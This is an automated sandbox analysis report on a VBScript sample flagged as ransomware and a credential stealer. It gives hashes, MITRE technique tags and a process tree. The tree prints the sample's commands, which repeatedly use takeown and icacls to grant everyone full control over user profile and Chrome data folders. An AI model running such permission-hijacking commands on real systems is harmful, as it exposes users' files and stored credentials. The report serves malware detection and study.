087315508cc43b632dae4750608cf107dfd454e2beacb03eeb4b43d013906d3d

Analysis

max time kernel
150s
max time network
135s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
01/10/2024, 16:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
target.vbs
Size 828B
Sample241001-t8t7wstdld
SHA256 087315508cc43b632dae4750608cf107dfd454e2beacb03eeb4b43d013906d3d
MD5 333ac8009978dfe4bc0e7ea72ad31289
SHA1 a8bc098f840e1b0faadb82d1087cf571e979a80d
SHA512 9a3886771f4b12576d9e155077b968b63932689a42e31e2d32642d6a9a46030e2157ea4da58bfddae5a6b37200174a990095e6f9776411a59f8b302fb7a42f9d
MD5 SHA1 SHA512

Score

9^/10

credential_access discovery exploit ransomware spyware stealer

Malware Config

Signatures

Renames multiple (1606) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Possible privilege escalation attempt 64 IoCs

exploit

pid	Process
2548	Process not Found
3084	takeown.exe
3432	Process not Found
3516	Process not Found
2480	Process not Found
3712	Process not Found
2576	Process not Found
1316	Process not Found
1920	Process not Found
1100	Process not Found
4624	takeown.exe
1776	Process not Found
392	Process not Found
4924	Process not Found
4640	Process not Found
4772	Process not Found
3700	takeown.exe
2256	takeown.exe
4636	Process not Found
3360	Process not Found
4316	takeown.exe
4940	icacls.exe
3620	Process not Found
3936	Process not Found
2340	Process not Found
2832	Process not Found
2036	takeown.exe
1660	Process not Found
2740	Process not Found
4888	takeown.exe
3864	Process not Found
4316	Process not Found
1664	Process not Found
2484	Process not Found
2552	takeown.exe
4396	Process not Found
2092	Process not Found
2576	takeown.exe
2544	Process not Found
2916	Process not Found
4544	Process not Found
4848	Process not Found
4884	Process not Found
4220	takeown.exe
4200	takeown.exe
1524	Process not Found
4920	Process not Found
2916	takeown.exe
4176	takeown.exe
3036	Process not Found
4944	Process not Found
4928	Process not Found
4908	Process not Found
4400	Process not Found
1780	Process not Found
1200	Process not Found
1756	Process not Found
4792	Process not Found
4332	Process not Found
4596	Process not Found
4888	Process not Found
2944	takeown.exe
3256	takeown.exe
2072	Process not Found

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	WScript.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4600	takeown.exe
1372	Process not Found
4380	Process not Found
4260	Process not Found
1056	Process not Found
3796	Process not Found
5068	Process not Found
1376	Process not Found
2376	Process not Found
5000	takeown.exe
1652	takeown.exe
4636	Process not Found
512	Process not Found
5068	Process not Found
5000	Process not Found
2172	takeown.exe
3796	takeown.exe
2640	takeown.exe
3864	Process not Found
3736	Process not Found
4356	Process not Found
2312	takeown.exe
456	takeown.exe
2576	Process not Found
184	Process not Found
3396	takeown.exe
3620	takeown.exe
3632	Process not Found
4048	Process not Found
1840	takeown.exe
2220	Process not Found
3396	Process not Found
2268	Process not Found
3080	Process not Found
3724	Process not Found
1372	takeown.exe
2684	takeown.exe
4468	takeown.exe
2376	Process not Found
4048	Process not Found
2444	Process not Found
3344	takeown.exe
3244	Process not Found
1712	Process not Found
4852	Process not Found
4888	Process not Found
2684	Process not Found
3192	Process not Found
3712	takeown.exe
4636	Process not Found
4752	Process not Found
3256	takeown.exe
1860	Process not Found
456	takeown.exe
4220	takeown.exe
656	takeown.exe
2920	takeown.exe
2072	Process not Found
4596	Process not Found
4308	Process not Found
536	takeown.exe
2304	Process not Found
2028	takeown.exe
932	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Password Policy Discovery 1 TTPs
Attempt to access detailed information about the password policy used within an enterprise network.
discovery

Password Policy Discovery
T1201
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4460	cmd.exe
1920	cmd.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
948	WScript.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
948	WScript.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 948 wrote to memory of 1520	948	WScript.exe	89
PID 948 wrote to memory of 1520	948	WScript.exe	89
PID 1520 wrote to memory of 1656	1520	cmd.exe	91
PID 1520 wrote to memory of 1656	1520	cmd.exe	91
PID 1520 wrote to memory of 1528	1520	cmd.exe	92
PID 1520 wrote to memory of 1528	1520	cmd.exe	92
PID 948 wrote to memory of 2644	948	WScript.exe	93
PID 948 wrote to memory of 2644	948	WScript.exe	93
PID 2644 wrote to memory of 4892	2644	cmd.exe	95
PID 2644 wrote to memory of 4892	2644	cmd.exe	95
PID 2644 wrote to memory of 2896	2644	cmd.exe	96
PID 2644 wrote to memory of 2896	2644	cmd.exe	96
PID 948 wrote to memory of 1224	948	WScript.exe	98
PID 948 wrote to memory of 1224	948	WScript.exe	98
PID 1224 wrote to memory of 3340	1224	cmd.exe	100
PID 1224 wrote to memory of 3340	1224	cmd.exe	100
PID 948 wrote to memory of 3220	948	WScript.exe	101
PID 948 wrote to memory of 3220	948	WScript.exe	101
PID 3220 wrote to memory of 3800	3220	cmd.exe	103
PID 3220 wrote to memory of 3800	3220	cmd.exe	103
PID 3220 wrote to memory of 2420	3220	cmd.exe	104
PID 3220 wrote to memory of 2420	3220	cmd.exe	104
PID 948 wrote to memory of 3272	948	WScript.exe	105
PID 948 wrote to memory of 3272	948	WScript.exe	105
PID 3272 wrote to memory of 952	3272	cmd.exe	107
PID 3272 wrote to memory of 952	3272	cmd.exe	107
PID 3272 wrote to memory of 932	3272	cmd.exe	108
PID 3272 wrote to memory of 932	3272	cmd.exe	108
PID 948 wrote to memory of 1172	948	WScript.exe	109
PID 948 wrote to memory of 1172	948	WScript.exe	109
PID 1172 wrote to memory of 4548	1172	cmd.exe	111
PID 1172 wrote to memory of 4548	1172	cmd.exe	111
PID 1172 wrote to memory of 1524	1172	cmd.exe	112
PID 1172 wrote to memory of 1524	1172	cmd.exe	112
PID 948 wrote to memory of 4392	948	WScript.exe	113
PID 948 wrote to memory of 4392	948	WScript.exe	113
PID 4392 wrote to memory of 852	4392	cmd.exe	115
PID 4392 wrote to memory of 852	4392	cmd.exe	115
PID 4392 wrote to memory of 1380	4392	cmd.exe	116
PID 4392 wrote to memory of 1380	4392	cmd.exe	116
PID 948 wrote to memory of 2528	948	WScript.exe	117
PID 948 wrote to memory of 2528	948	WScript.exe	117
PID 2528 wrote to memory of 2916	2528	cmd.exe	119
PID 2528 wrote to memory of 2916	2528	cmd.exe	119
PID 2528 wrote to memory of 1364	2528	cmd.exe	120
PID 2528 wrote to memory of 1364	2528	cmd.exe	120
PID 948 wrote to memory of 2548	948	WScript.exe	121
PID 948 wrote to memory of 2548	948	WScript.exe	121
PID 2548 wrote to memory of 2256	2548	cmd.exe	123
PID 2548 wrote to memory of 2256	2548	cmd.exe	123
PID 2548 wrote to memory of 4524	2548	cmd.exe	124
PID 2548 wrote to memory of 4524	2548	cmd.exe	124
PID 948 wrote to memory of 4072	948	WScript.exe	125
PID 948 wrote to memory of 4072	948	WScript.exe	125
PID 4072 wrote to memory of 3704	4072	cmd.exe	127
PID 4072 wrote to memory of 3704	4072	cmd.exe	127
PID 4072 wrote to memory of 1688	4072	cmd.exe	128
PID 4072 wrote to memory of 1688	4072	cmd.exe	128
PID 948 wrote to memory of 2028	948	WScript.exe	129
PID 948 wrote to memory of 2028	948	WScript.exe	129
PID 2028 wrote to memory of 1056	2028	cmd.exe	131
PID 2028 wrote to memory of 1056	2028	cmd.exe	131
PID 2028 wrote to memory of 2624	2028	cmd.exe	132
PID 2028 wrote to memory of 2624	2028	cmd.exe	132

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"
1⤵
- Checks computer location settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: RenamesItself
- Suspicious use of WriteProcessMemory
PID:948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\ && icacls C:\Users\ /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1520
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\
    3⤵
    PID:1656
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\ /grant everyone:(f)
    3⤵
    PID:1528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin && icacls C:\Users\Admin /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin
    3⤵
    PID:4892
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin /grant everyone:(f)
    3⤵
    PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\3D Objects && icacls C:\Users\Admin\3D Objects /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1224
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\3D Objects
    3⤵
    PID:3340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData && icacls C:\Users\Admin\AppData /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3220
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData
    3⤵
    PID:3800
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData /grant everyone:(f)
    3⤵
    PID:2420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local && icacls C:\Users\Admin\AppData\Local /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3272
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local
    3⤵
    PID:952
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local /grant everyone:(f)
    3⤵
    - Modifies file permissions
    PID:932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Adobe && icacls C:\Users\Admin\AppData\Local\Adobe /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1172
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Adobe
    3⤵
    PID:4548
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Adobe /grant everyone:(f)
    3⤵
    PID:1524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Adobe\Acrobat && icacls C:\Users\Admin\AppData\Local\Adobe\Acrobat /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4392
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Adobe\Acrobat
    3⤵
    PID:852
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Adobe\Acrobat /grant everyone:(f)
    3⤵
    PID:1380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC && icacls C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2528
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC
    3⤵
    PID:2916
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC /grant everyone:(f)
    3⤵
    PID:1364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\Cache && icacls C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\Cache /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2548
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\Cache
    3⤵
    PID:2256
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\Cache /grant everyone:(f)
    3⤵
    PID:4524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\ToolsSearchCacheRdr && icacls C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\ToolsSearchCacheRdr /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4072
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\ToolsSearchCacheRdr
    3⤵
    PID:3704
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\ToolsSearchCacheRdr /grant everyone:(f)
    3⤵
    PID:1688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Adobe\Color && icacls C:\Users\Admin\AppData\Local\Adobe\Color /grant everyone:(f)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2028
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Adobe\Color
    3⤵
    PID:1056
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Adobe\Color /grant everyone:(f)
    3⤵
    PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Adobe\Color\Profiles && icacls C:\Users\Admin\AppData\Local\Adobe\Color\Profiles /grant everyone:(f)
  2⤵
  PID:2124
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Adobe\Color\Profiles
    3⤵
    PID:3192
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Adobe\Color\Profiles /grant everyone:(f)
    3⤵
    PID:3344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Application Data && icacls C:\Users\Admin\AppData\Local\Application Data /grant everyone:(f)
  2⤵
  PID:2248
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Application Data
    3⤵
    PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Comms && icacls C:\Users\Admin\AppData\Local\Comms /grant everyone:(f)
  2⤵
  PID:872
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Comms
    3⤵
    PID:4332
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Comms /grant everyone:(f)
    3⤵
    PID:4336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Comms\Unistore && icacls C:\Users\Admin\AppData\Local\Comms\Unistore /grant everyone:(f)
  2⤵
  PID:4632
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Comms\Unistore
    3⤵
    PID:1316
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Comms\Unistore /grant everyone:(f)
    3⤵
    PID:4716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Comms\Unistore\data && icacls C:\Users\Admin\AppData\Local\Comms\Unistore\data /grant everyone:(f)
  2⤵
  PID:3144
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Comms\Unistore\data
    3⤵
    PID:2044
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Comms\Unistore\data /grant everyone:(f)
    3⤵
    PID:840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Comms\Unistore\data\temp && icacls C:\Users\Admin\AppData\Local\Comms\Unistore\data\temp /grant everyone:(f)
  2⤵
  PID:1712
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Comms\Unistore\data\temp
    3⤵
    PID:3516
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Comms\Unistore\data\temp /grant everyone:(f)
    3⤵
    PID:4536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Comms\UnistoreDB && icacls C:\Users\Admin\AppData\Local\Comms\UnistoreDB /grant everyone:(f)
  2⤵
  PID:4884
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Comms\UnistoreDB
    3⤵
    PID:4592
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Comms\UnistoreDB /grant everyone:(f)
    3⤵
    PID:3152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform && icacls C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform /grant everyone:(f)
  2⤵
  PID:4792
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform
    3⤵
    PID:944
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform /grant everyone:(f)
    3⤵
    PID:1376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin && icacls C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin /grant everyone:(f)
  2⤵
  PID:4704
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin
    3⤵
    PID:2180
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin /grant everyone:(f)
    3⤵
    PID:3952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\D3DSCache && icacls C:\Users\Admin\AppData\Local\D3DSCache /grant everyone:(f)
  2⤵
  PID:3708
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\D3DSCache
    3⤵
    PID:220
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\D3DSCache /grant everyone:(f)
    3⤵
    PID:744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\D3DSCache\f4d41c5d09ae781 && icacls C:\Users\Admin\AppData\Local\D3DSCache\f4d41c5d09ae781 /grant everyone:(f)
  2⤵
  PID:4392
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\D3DSCache\f4d41c5d09ae781
    3⤵
    PID:1020
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\D3DSCache\f4d41c5d09ae781 /grant everyone:(f)
    3⤵
    PID:3348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google && icacls C:\Users\Admin\AppData\Local\Google /grant everyone:(f)
  2⤵
  PID:2916
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google
    3⤵
    PID:4624
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Google /grant everyone:(f)
    3⤵
    PID:4056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome && icacls C:\Users\Admin\AppData\Local\Google\Chrome /grant everyone:(f)
  2⤵
  PID:456
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome
    3⤵
    PID:1068
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Google\Chrome /grant everyone:(f)
    3⤵
    PID:4028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data /grant everyone:(f)
  2⤵
  PID:2776
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data
    3⤵
    PID:3700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\AutofillStates && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\AutofillStates /grant everyone:(f)
  2⤵
  PID:2156
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\AutofillStates
    3⤵
    PID:4976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\BrowserMetrics && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\BrowserMetrics /grant everyone:(f)
  2⤵
  PID:4788
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\BrowserMetrics
    3⤵
    PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\CertificateRevocation && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\CertificateRevocation /grant everyone:(f)
  2⤵
  PID:2552
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\CertificateRevocation
    3⤵
    PID:3868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad /grant everyone:(f)
  2⤵
  PID:1604
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad
    3⤵
    PID:3988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\attachments && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\attachments /grant everyone:(f)
  2⤵
  PID:4632
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\attachments
    3⤵
    PID:5024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\reports && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\reports /grant everyone:(f)
  2⤵
  PID:3384
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\reports
    3⤵
    - Modifies file permissions
    PID:656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crowd Deny && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crowd Deny /grant everyone:(f)
  2⤵
  PID:3588
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crowd Deny
    3⤵
    PID:1224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default /grant everyone:(f)
  2⤵
  PID:3800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default
    3⤵
    PID:960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase /grant everyone:(f)
  2⤵
  PID:312
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase
    3⤵
    PID:2304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\blob_storage && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\blob_storage /grant everyone:(f)
  2⤵
  PID:2376
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\blob_storage
    3⤵
    PID:1132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\blob_storage\8f054807-4b26-482e-bbf2-1973da9cbcb9 && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\blob_storage\8f054807-4b26-482e-bbf2-1973da9cbcb9 /grant everyone:(f)
  2⤵
  PID:4704
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\blob_storage\8f054807-4b26-482e-bbf2-1973da9cbcb9
    3⤵
    PID:1380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase /grant everyone:(f)
  2⤵
  PID:744
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase
    3⤵
    PID:4380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache /grant everyone:(f)
  2⤵
  PID:3632
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache
    3⤵
    PID:4356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data /grant everyone:(f)
  2⤵
  PID:3724
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data
    3⤵
    PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db /grant everyone:(f)
  2⤵
  PID:4524
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db
    3⤵
    PID:4028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache /grant everyone:(f)
  2⤵
  PID:3776
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache
    3⤵
    PID:4544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js /grant everyone:(f)
  2⤵
  PID:4404
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js
    3⤵
    PID:4484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir /grant everyone:(f)
  2⤵
  PID:3028
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir
    3⤵
    PID:2128
